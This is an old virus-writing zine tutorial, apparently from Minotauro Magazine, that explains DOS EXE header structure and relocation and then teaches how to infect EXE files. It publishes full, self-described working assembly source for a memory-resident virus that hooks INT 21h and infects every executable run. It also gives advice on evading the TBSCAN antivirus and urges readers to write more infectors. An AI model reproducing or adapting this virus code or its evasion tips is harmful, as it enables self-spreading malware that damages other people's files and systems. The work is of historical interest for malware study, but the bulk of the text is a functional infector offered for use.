523 lines
23 KiB
Plaintext
523 lines
23 KiB
Plaintext
|
Virus programming (not so basic) #2...
|
|||
|
------------------------------------------------------------------
|
|||
|
Infecting an .EXE is not much more difficult than infecting a
|
|||
|
.COM. To do so, you must learn about a structure known as the EXE
|
|||
|
header. Once you've picked this up, it's not so difficult and it
|
|||
|
offers many more options than just a simple jump at the beginning
|
|||
|
of the code.
|
|||
|
|
|||
|
Let's begin:
|
|||
|
|
|||
|
% The Header structure %
|
|||
|
The information on EXE header structure is available from any
|
|||
|
good DOS book, and even from some other H/P/V mags. Anyhow, I'll
|
|||
|
include that information here for those who don't have those
|
|||
|
sources to understand what I'm talking about.
|
|||
|
|
|||
|
Offset Description
|
|||
|
00 EXE identifier (MZ = 4D5A)
|
|||
|
02 Number of bytes on the last page (of 512 bytes) of the
|
|||
|
program
|
|||
|
04 Total number of 512 byte pages, rounded upwards
|
|||
|
06 Number of entries in the File Allocation Table
|
|||
|
08 Size of the header in paragraphs, including the FAT
|
|||
|
0A Minimum memory requirement
|
|||
|
0C Maximum memory requirement
|
|||
|
0E Initial SS
|
|||
|
10 Initial SP
|
|||
|
12 Checksum
|
|||
|
14 Initial IP
|
|||
|
16 Initial CS
|
|||
|
18 Offset to the FAT from the beginning of the file
|
|||
|
1A Number of generated overlays
|
|||
|
|
|||
|
The EXE identifier (MZ) is what truly distinguishes the EXE from
|
|||
|
a COM, and not the extension. The extension is only used by DOS to
|
|||
|
determine which must run first (COM before EXE before BAT). What
|
|||
|
really tells the system whether its a "true" EXE is this identifier
|
|||
|
(MZ).
|
|||
|
Entries 02 and 04 contain the program size in the following
|
|||
|
format: 512 byte pages * 512 + remainder. In other words, if the
|
|||
|
program has 1025 bytes, we have 3 512 byte pages (remember, we must
|
|||
|
round upwards) plus a remainder of 1. (Actually, we could ask why
|
|||
|
we need the remainder, since we are rounding up to the nearest
|
|||
|
page. Even more since we are going to use 4 bytes for the size,
|
|||
|
why
|
|||
|
not just eliminate it? The virus programmer has such a rough life
|
|||
|
:-)). Entry number 06 contains the number of entries in the FAT
|
|||
|
(number of pointers, see below) and entry 18 has the offset from
|
|||
|
the
|
|||
|
FAT within the file. The header size (entry 08) includes the FAT.
|
|||
|
The minimum memory requirement (0A) indicates the least amount of
|
|||
|
free memory the program needs in order to run and the maximum (0C)
|
|||
|
the ideal amount of memory to run the program. (Generally this is
|
|||
|
set to FFFF = 1M by the linkers, and DOS hands over all available
|
|||
|
memory).
|
|||
|
The SS:SP and CS:IP contain the initial values for theses
|
|||
|
registers (see below). Note that SS:SP is set backwards, which
|
|||
|
means that an LDS cannot load it. The checksum (12) and the number
|
|||
|
of overlays (1a) can be ignored since these entries are never used.
|
|||
|
|
|||
|
% EXE vs. COM load process %
|
|||
|
Well, by now we all know exhaustively how to load a .COM:
|
|||
|
We build a PSP, we create an Environment Block starting from the
|
|||
|
parent block, and we copy the COM file into memory exactly as it
|
|||
|
is, below the PSP. Since memory is segmented into 64k "caches" no
|
|||
|
COM file can be larger than 64K. DOS will not execute a COM file
|
|||
|
larger than 64K. Note that when a COM file is loaded, all
|
|||
|
available memory is granted to the program.
|
|||
|
Where it pertains to EXEs, however, bypassing these limitations is
|
|||
|
much more complex; we must use the FAT and the EXE header for
|
|||
|
this.
|
|||
|
When an EXE is executed, DOS first performs the same functions
|
|||
|
as
|
|||
|
in loading a COM. It then reads into a work area the EXE header
|
|||
|
and, based on the information this provides, reads the program into
|
|||
|
its proper location in memory. Lastly, it reads the FAT into
|
|||
|
another work area. It then relocates the entire code.
|
|||
|
|
|||
|
What does this consist of? The linker will always treat any
|
|||
|
segment references as having a base address of 0. In other words,
|
|||
|
the first segment is 0, the second is 1, etc. On the other hand,
|
|||
|
the program is loaded into a non-zero segment; for example, 1000h.
|
|||
|
In this case, all references to segment 1 must be converted to
|
|||
|
segment 1001h.
|
|||
|
|
|||
|
The FAT is simply a list of pointers which mark references of
|
|||
|
this type (to segment 1, etc.). These pointers, in turn, are also
|
|||
|
relative to base address 0, which means they, too, can be
|
|||
|
reallocated. Therefore, DOS adds the effective segment (the
|
|||
|
segment into which the program was loaded; i.e. 1000h) to the
|
|||
|
pointer in the FAT and thus obtains an absolute address in memory
|
|||
|
to reference the segment. The effective segment is also added to
|
|||
|
this reference, and having done this with each and every segment
|
|||
|
reference, the EXE is reallocated and is ready to execute.
|
|||
|
Finally, DOS sets SS:SP to the header values (also reallocated; the
|
|||
|
header SS + 1000H), and turns control over to the CS:IP of the
|
|||
|
header (obviously also reallocated).
|
|||
|
|
|||
|
Lets look at a simple exercise:
|
|||
|
|
|||
|
EXE PROGRAM FILE
|
|||
|
Header CS:IP (Header) 0000:0000 +
|
|||
|
(reallocation Eff. Segment 1000 +
|
|||
|
table entries=2) PSP 0010 =
|
|||
|
-------------------------
|
|||
|
Entry Point 1010:0000 ><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
|
|||
|
Reallocation Table <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
0000:0003 ><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> + 1010H = 1010:0003 ><3E>Ŀ <20>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
0000:0007 ><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> + 1010H = 1010:0007 ><3E>Ŀ <20>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
Program Image <20> <20> PROGRAM IN MEMORY <20>
|
|||
|
<20> <20> PSP 1000:0000 <20>
|
|||
|
call 0001:0000 <20> <20><><EFBFBD>> call 1011:0000 1010:0000 <<3C><>
|
|||
|
nop <20> nop 1010:0005
|
|||
|
mov ax, 0003 <20><><EFBFBD><EFBFBD><EFBFBD>> mov ax, 1013 1010:0006
|
|||
|
mov ds, ax mov ds, ax 1010:0009
|
|||
|
|
|||
|
Note: I hope you appreciate my use of the little arrows, because it
|
|||
|
cost me a testicle to do it by hand using the Alt+??? keys in
|
|||
|
Norton Commander Editor.
|
|||
|
|
|||
|
% Infecting the EXE %
|
|||
|
Once it has been determined that the file is an EXE and NOT a
|
|||
|
COM, use the following steps to infect it:
|
|||
|
|
|||
|
- Obtain the file size and calculate the CS:IP
|
|||
|
This is complex. Most, if not all, viruses add 1 to 15
|
|||
|
garbage bytes to round out to a paragraph. This allows you to
|
|||
|
calculate CS in such a way that IP does not vary from file to
|
|||
|
file. This, in turn, allows you to write the virus without
|
|||
|
"reallocation" since it will always run with the same offset,
|
|||
|
making the virus both less complex and smaller. The (minimal)
|
|||
|
effort expended in writing these 1 - 15 bytes is justified by
|
|||
|
these benefits.
|
|||
|
- Add the virus to the end of the file.
|
|||
|
Well, I'm sure that by now you are familiar function 40H of
|
|||
|
Int 21H, right? :-)
|
|||
|
- Calculate the SS:SP
|
|||
|
When infecting an EXE it is necessary for the virus to "fix"
|
|||
|
itself a new stack since otherwise the host's stack could be
|
|||
|
superimposed over the virus code and have it be overwritten
|
|||
|
when the code is executed. The system would then hang.
|
|||
|
Generally, SS is the same as the calculated CS, and SP is
|
|||
|
constant (you can put it after the code). Something to keep
|
|||
|
in mind: SP can never be an odd number because, even though it
|
|||
|
will work, it is an error and TBSCAN will catch it. (TBSCAN
|
|||
|
detects 99% of the virus stacks with the "K" flag. The only
|
|||
|
way to elude this that I'm aware of, is to place the stack
|
|||
|
AHEAD of the virus in the infected file, which is a pain in
|
|||
|
the ass because the infection size increases and you have to
|
|||
|
write more "garbage" to make room for the stack.
|
|||
|
- Modify the size shown in the header
|
|||
|
Now that you've written the virus, you can calculate the final
|
|||
|
size and write it in the header. It's easy: place the size
|
|||
|
divided by 512 plus 1 in 'pages' and the rest in 'remainder'.
|
|||
|
All it takes is one DIV instruction.
|
|||
|
- Modify the "MinAlloc"
|
|||
|
In most EXEs, "MaxAlloc" is set to FFFF, or 1 meg, and DOS
|
|||
|
will give it all the available memory. In such cases, there
|
|||
|
is more than enough room for HOST+VIRUS. But, two things
|
|||
|
could happen:
|
|||
|
1. It could be that "MaxAlloc" is not set to FFFF, in which
|
|||
|
case only the minimum memory is granted to the host and
|
|||
|
possibly nothing for the virus.
|
|||
|
|
|||
|
2. It could be that there is too little memory available,
|
|||
|
thus when the system gives the program "all the available
|
|||
|
memory" (as indicated by FFFF) there may still be
|
|||
|
insufficient memory for HOST+VIRUS.
|
|||
|
In both cases, the virus does not load and the system halts.
|
|||
|
To get around this, all that needs to be done is to add to
|
|||
|
"MinAlloc" the size of the virus in "paragraphs". In the
|
|||
|
first case, DOS would load the program and everything would
|
|||
|
work like a charm. In the second case, DOS would not execute
|
|||
|
the file due to "insufficient memory".
|
|||
|
|
|||
|
Well, that's all. Just two last little things: when you write an
|
|||
|
EXE infector, we are interested not only in the infection routine
|
|||
|
but also the installation routine. Keep in mind that in an EXE DS
|
|||
|
and ES point to the PSP and are different from SS and CS (which in
|
|||
|
turn can be different from each other). This can save you from
|
|||
|
hours of debugging and inexplicable errors. All that needs to be
|
|||
|
done is to follow the previously mentioned steps in order to infect
|
|||
|
in the safe, "traditional" way. I recommend that you study
|
|||
|
carefully the virus example below as it illustrates all the topics
|
|||
|
we've mentioned.
|
|||
|
|
|||
|
% Details, Oh, Details ... %
|
|||
|
One last detail which is somewhat important, deals with
|
|||
|
excessively large EXEs. You sometimes see EXEs which are
|
|||
|
larger than 500K. (For example, TC.EXE which was the IDE for
|
|||
|
TURBO C/C++ 1.01, was 800K. Of course, these EXEs aren't very
|
|||
|
common; they simply have internal overlays. It's almost
|
|||
|
impossible to infect these EXEs for two reasons:
|
|||
|
1. The first is more or less theoretical. It so happens
|
|||
|
that it's only possible to direct 1M to registers
|
|||
|
SEGMENT:OFFSET. For this reason, it is technically
|
|||
|
impossible to infect EXEs 1M+ in size since it is
|
|||
|
impossible to direct CS:IP to the end of the file. No
|
|||
|
virus can do it. (Are there EXEs of a size greater than
|
|||
|
1M? Yes, the game HOOK had an EXE of 1.6M. BLERGH!)
|
|||
|
2. The second reason is of a practical nature. These EXEs
|
|||
|
with internal overlays are not loaded whole into memory.
|
|||
|
Only a small part of the EXE is loaded into memory, which
|
|||
|
in turn takes care of loading the other parts AS THEY ARE
|
|||
|
NEEDED. That's why its possible to run an 800K EXE (did
|
|||
|
you notice that 800K > 640K? :-) ). How does this fact
|
|||
|
make these EXEs difficult to infect? Because once one of
|
|||
|
these EXEs has been infected and the virus has made its
|
|||
|
modifications, the file will attempt to load itself into
|
|||
|
memory in it's entirety (like, all 800K). Evidently, the
|
|||
|
system will hang. It's possible to imagine a virus
|
|||
|
capable of infecting very large EXEs which contain
|
|||
|
internal overlays (smaller than 1M) by manipulating the
|
|||
|
"Header Size", but even so I can't see how it would work
|
|||
|
because at some point DOS would try to load the entire
|
|||
|
file.
|
|||
|
|
|||
|
% A Special case: RAT %
|
|||
|
Understanding the header reallocation process also allows us to
|
|||
|
understand the functioning of a virus which infects special EXEs.
|
|||
|
We're talking about the RAT virus. This virus takes advantage of
|
|||
|
the fact that linkers tend to make the headers in caches of 512
|
|||
|
bytes, leaving a lot of unused space in those situations where
|
|||
|
there is little reallocation.
|
|||
|
This virus uses this unused space in order to copy itself
|
|||
|
without using the header (of the file allocation table). Of
|
|||
|
course, it works in a totally different manner from a normal EXE
|
|||
|
infector. It cannot allow any reallocation; since its code is
|
|||
|
placed BEFORE the host, it would be the virus code and not the host
|
|||
|
which is reallocated. Therefore, it can't make a simple jump to
|
|||
|
the host to run it (since it isn't reallocated); instead, it must
|
|||
|
re-write the original header to the file and run it with AX=4B00,
|
|||
|
INT 21.
|
|||
|
|
|||
|
% Virus Example %
|
|||
|
OK, as behooves any worthwhile virus 'zine, here is some totally
|
|||
|
functional code which illustrates everything that's been said about
|
|||
|
infecting EXEs. If there was something you didn't understand, or
|
|||
|
if you want to see something "in code form", take a good look at
|
|||
|
this virus, which is commented OUT THE ASS.
|
|||
|
|
|||
|
-------------------- Cut Here ------------------------------------
|
|||
|
;NOTE: This is a mediocre virus, set here only to illustrate EXE
|
|||
|
; infections. It can't infect READ ONLY files and it modifies the
|
|||
|
; date/time stamp. It could be improved, such as by making it
|
|||
|
; infect R/O files and by optimizing the code.
|
|||
|
;
|
|||
|
;NOTE 2: First, I put a cute little message in the code and second,
|
|||
|
; I made it ring a bell every time it infects. So, if you infect
|
|||
|
|
|||
|
; your entire hard drive, it's because you're a born asshole.
|
|||
|
|
|||
|
code segment para public
|
|||
|
assume cs:code, ss:code
|
|||
|
VirLen equ offset VirEnd - offset VirBegin
|
|||
|
VirBegin label byte
|
|||
|
Install:
|
|||
|
mov ax, 0BABAH ; This makes sure the virus doesn't go resident
|
|||
|
|
|||
|
; twice
|
|||
|
int 21h
|
|||
|
cmp ax, 0CACAH ; If it returns this code, it's already
|
|||
|
; resident
|
|||
|
jz AlreadyInMemory
|
|||
|
|
|||
|
mov ax, 3521h ; This gives us the original INT 21 address so
|
|||
|
int 21h ; we can call it later
|
|||
|
mov cs:word ptr OldInt21, bx
|
|||
|
mov cs:word ptr OldInt21+2, es
|
|||
|
|
|||
|
mov ax, ds ; \
|
|||
|
dec ax ; |
|
|||
|
mov es, ax ; |
|
|||
|
mov ax, es:[3] ; block size ; | If you're new at this,
|
|||
|
; | ignore all this crap
|
|||
|
sub ax, ((VirLen+15) /16) + 1 ; | (It's the MCB method)
|
|||
|
xchg bx, ax ; | It's not crucial for EXE
|
|||
|
mov ah,4ah ; | infections.
|
|||
|
push ds ; | It's one of the ways to
|
|||
|
pop es ; | make a virus go resident.
|
|||
|
int 21h ; |
|
|||
|
mov ah, 48h ; |
|
|||
|
mov bx, ((VirLen+15) / 16) ; |
|
|||
|
int 21h ; |
|
|||
|
dec ax ; |
|
|||
|
mov es, ax ; |
|
|||
|
mov word ptr es:[1], 8 ; |
|
|||
|
inc ax ; |
|
|||
|
mov es, ax ; |
|
|||
|
xor di, di ; |
|
|||
|
xor si, si ; |
|
|||
|
push ds ; |
|
|||
|
push cs ; |
|
|||
|
pop ds ; |
|
|||
|
mov cx, VirLen ; |
|
|||
|
repz movsb ; /
|
|||
|
|
|||
|
mov ax, 2521h ; Here you grab INT 21
|
|||
|
mov dx, offset NewInt21
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
int 21h
|
|||
|
pop ds ; This makes DS & ES go back to their original
|
|||
|
; values
|
|||
|
push ds ; IMPORTANT! Otherwise the EXE will receive the
|
|||
|
pop es ; incorrect DE & ES values, and hang.
|
|||
|
|
|||
|
AlreadyInMemory:
|
|||
|
mov ax, ds ; With this I set SS to the
|
|||
|
; Header value.
|
|||
|
add ax, cs:word ptr SS_SP ; Note that I "reallocate" it
|
|||
|
; using DS since this is the
|
|||
|
add ax, 10h ; the segment into which the
|
|||
|
mov ss, ax ; program was loaded. The +10
|
|||
|
; corresponds to the
|
|||
|
mov sp, cs:word ptr SS_SP+2 ; PSP. I also set SP
|
|||
|
mov ax, ds
|
|||
|
add ax, cs:word ptr CS_IP+2 ; Now I do the same with CS &
|
|||
|
add ax, 10h ; IP. I "push" them and then I
|
|||
|
; do a retf. (?)
|
|||
|
push ax ; This makes it "jump" to that
|
|||
|
mov ax, cs:word ptr CS_IP ; position
|
|||
|
push ax
|
|||
|
retf
|
|||
|
|
|||
|
NewInt21:
|
|||
|
cmp ax, 0BABAh ; This ensures the virus does not go
|
|||
|
jz PCheck ; resident twice.
|
|||
|
cmp ax, 4b00h ; This intercepts the "run file" function
|
|||
|
jz Infect ;
|
|||
|
jmp cs:OldInt21 ; If it is neither of these, it turns control
|
|||
|
|
|||
|
; back to the original INT21 so that it
|
|||
|
; processes the call.
|
|||
|
PCheck:
|
|||
|
mov ax, 0CACAH ; This code returns the call.
|
|||
|
iret ; return.
|
|||
|
|
|||
|
; Here's the infection routine. Pay attention, because this is
|
|||
|
; "IT".
|
|||
|
; Ignore everything else if you wish, but take a good look at this.
|
|||
|
Infect:
|
|||
|
push ds ; We put the file name to be infected in DS:DX.
|
|||
|
push dx ; Which is why we must save it.
|
|||
|
pushf
|
|||
|
call cs:OldInt21 ; We call the original INT21 to run the file.
|
|||
|
|
|||
|
push bp ; We save all the registers.
|
|||
|
mov bp, sp ; This is important in a resident routine,
|
|||
|
;since if it isn't done,
|
|||
|
push ax ; the system will probably hang.
|
|||
|
pushf
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
|
|||
|
lds dx, [bp+2] ; Again we obtain the filename (from the stack)
|
|||
|
mov ax, 3d02h ; We open the file r/w
|
|||
|
int 21h
|
|||
|
xchg bx, ax
|
|||
|
mov ah, 3fh ; Here we read the first 32 bytes to memory.
|
|||
|
mov cx, 20h ; to the variable "ExeHeader"
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx, offset ExeHeader
|
|||
|
int 21h
|
|||
|
|
|||
|
cmp ds:word ptr ExeHeader, 'ZM' ; This determines if it's a
|
|||
|
jz Continue ; "real" EXE or if it's a COM.
|
|||
|
jmp AbortInfect ; If it's a COM, don't infect.
|
|||
|
Continue:
|
|||
|
cmp ds:word ptr Checksum, 'JA' ; This is the virus's way
|
|||
|
; of identifying itself.
|
|||
|
jnz Continue2 ; We use the Header Chksum for this
|
|||
|
jmp AbortInfect ; It's used for nothing else. If
|
|||
|
; already infected, don't re-infect. :-)
|
|||
|
Continue2:
|
|||
|
mov ax, 4202h ; Now we go to the end of file to see of it
|
|||
|
cwd ; ends in a paragraph
|
|||
|
xor cx, cx
|
|||
|
int 21h
|
|||
|
and ax, 0fh
|
|||
|
or ax, ax
|
|||
|
jz DontAdd ; If "yes", we do nothing
|
|||
|
mov cx, 10h ; If "no", we add garbage bytes to serve as
|
|||
|
sub cx, ax ; Note that the contents of DX no longer matter
|
|||
|
mov ah, 40h ; since we don't care what we're inserting.
|
|||
|
int 21h
|
|||
|
|
|||
|
DontAdd:
|
|||
|
mov ax, 4202h ; OK, now we get the final size, rounded
|
|||
|
cwd ; to a paragraph.
|
|||
|
xor cx, cx
|
|||
|
int 21h
|
|||
|
|
|||
|
mov cl, 4 ; This code calculates the new CS:IP the file must
|
|||
|
shr ax, cl ; now have, as follows:
|
|||
|
mov cl, 12 ; File size: 12340H (DX=1, AX=2340H)
|
|||
|
shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS
|
|||
|
add dx, ax ; DX now has the CS value it must have.
|
|||
|
sub dx, word ptr ds:ExeHeader+8 ; We subtract the number of
|
|||
|
; paragraphs from the header
|
|||
|
push dx ; and save the result in the stack for later.
|
|||
|
; <------- Do you understand why you can't infect
|
|||
|
; EXEs larger than 1M?
|
|||
|
|
|||
|
mov ah, 40h ; Now we write the virus to the end of the file.
|
|||
|
mov cx, VirLen ; We do this before touching the header so that
|
|||
|
|
|||
|
cwd ; CS:IP or SS:SP of the header (kept within the
|
|||
|
|
|||
|
; virus code)
|
|||
|
int 21h ; contains the original value
|
|||
|
; so that the virus installation routines work
|
|||
|
; correctly.
|
|||
|
|
|||
|
pop dx
|
|||
|
mov ds:SS_SP, dx ; Modify the header CS:IP so that it
|
|||
|
; points to the virus.
|
|||
|
mov ds:CS_IP+2, dx ; Then we place a 100h stack after the
|
|||
|
mov ds:word ptr CS_IP, 0 ; virus since it will be used by
|
|||
|
; the virus only during the installation process. Later, the
|
|||
|
; stack changes and becomes the programs original stack.
|
|||
|
mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2
|
|||
|
; the previous command SP to have an even value, otherwise
|
|||
|
; TBSCAN will pick it up.
|
|||
|
mov ax, 4202h ; We obtain the new size so as to calculate the
|
|||
|
xor cx, cx ; size we must place in the header.
|
|||
|
cwd
|
|||
|
int 21h
|
|||
|
mov cx, 200h ; We calculate the following:
|
|||
|
div cx ; FileSize/512 = PAGES plus remainder
|
|||
|
inc ax ; We round upwards and save
|
|||
|
mov word ptr ds:ExeHeader+2, dx ; it in the header to
|
|||
|
mov word ptr ds:ExeHeader+4, ax ; write it later.
|
|||
|
mov word ptr ds:Checksum, 'JA'; We write the virus's
|
|||
|
; identification mark in the
|
|||
|
|
|||
|
; checksum.
|
|||
|
add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h
|
|||
|
; We add the number of paragraphs to the "MinAlloc"
|
|||
|
; to avoid memory allocation problems (we also add 10
|
|||
|
; paragraphs for the virus's stack.
|
|||
|
|
|||
|
mov ax, 4200h ; Go to the start of the file
|
|||
|
cwd
|
|||
|
xor cx, cx
|
|||
|
int 21h
|
|||
|
mov ah, 40h ; and write the modified header....
|
|||
|
mov cx, 20h
|
|||
|
mov dx, offset ExeHeader
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah, 2 ; a little bell rings so the beginner remembers
|
|||
|
mov dl, 7 ; that the virus is in memory. IF AFTER ALL
|
|||
|
int 21h ; THIS YOU STILL INFECT YOURSELF, CUT OFF YOUR
|
|||
|
; NUTS.
|
|||
|
AbortInfect:
|
|||
|
mov ah, 3eh ; Close the file.
|
|||
|
int 21h
|
|||
|
pop ds ; We pop the registers we pushed so as to save
|
|||
|
pop dx ; them.
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax;flags ; This makes sure the flags are passed
|
|||
|
mov bp, sp ; correctly. Beginners can ignore this.
|
|||
|
mov [bp+12], ax
|
|||
|
pop ax
|
|||
|
pop bp
|
|||
|
add sp, 4
|
|||
|
iret ; We return control.
|
|||
|
|
|||
|
|
|||
|
; Data
|
|||
|
OldInt21 dd 0
|
|||
|
; Here we store the original INT 21 address.
|
|||
|
|
|||
|
ExeHeader db 0eh DUP('H');
|
|||
|
SS_SP dw 0, offset VirEnd+100h
|
|||
|
Checksum dw 0
|
|||
|
CS_IP dw offset Hoste,0
|
|||
|
dw 0,0,0,0
|
|||
|
; This is the EXE header.
|
|||
|
VirEnd label byte
|
|||
|
|
|||
|
Hoste:
|
|||
|
; This is not the virus host, rather the "false host" so that
|
|||
|
; the file carrier runs well :-).
|
|||
|
mov ah, 9
|
|||
|
mov dx, offset MSG
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
int 21h
|
|||
|
mov ax, 4c00h
|
|||
|
int 21h
|
|||
|
MSG db "LOOK OUT! The virus is now in memory!", 13, 10
|
|||
|
db "And it could infect all the EXEs you run!", 13, 10
|
|||
|
db "If you get infected, that's YOUR problem", 13, 10
|
|||
|
db "We're not responsible for your stupidity!$"
|
|||
|
ends
|
|||
|
end
|
|||
|
-------------------- Cut Here -------------------------------------
|
|||
|
|
|||
|
% Conclusion %
|
|||
|
OK, that's all, folks. I tried to make this article useful for
|
|||
|
both the "profane" who are just now starting to code Vx as well as
|
|||
|
for those who have a clearer idea. Yeah, I know the beginners
|
|||
|
almost certainly didn't understand many parts of this article due
|
|||
|
the complexity of the matter, and the experts may not have
|
|||
|
understood some parts due to the incoherence and poor descriptive
|
|||
|
abilities of the writer. Well, fuck it.
|
|||
|
Still, I hope it has been useful and I expect to see many more
|
|||
|
EXE infectors from now on. A parting shot: I challenge my readers
|
|||
|
to write a virus capable of infecting an 800K EXE file (I think
|
|||
|
it's impossible). Prize: a lifetime subscription to Minotauro
|
|||
|
Magazine :-).
|
|||
|
Trurl, the great "constructor"
|
|||
|
|
|||
|
|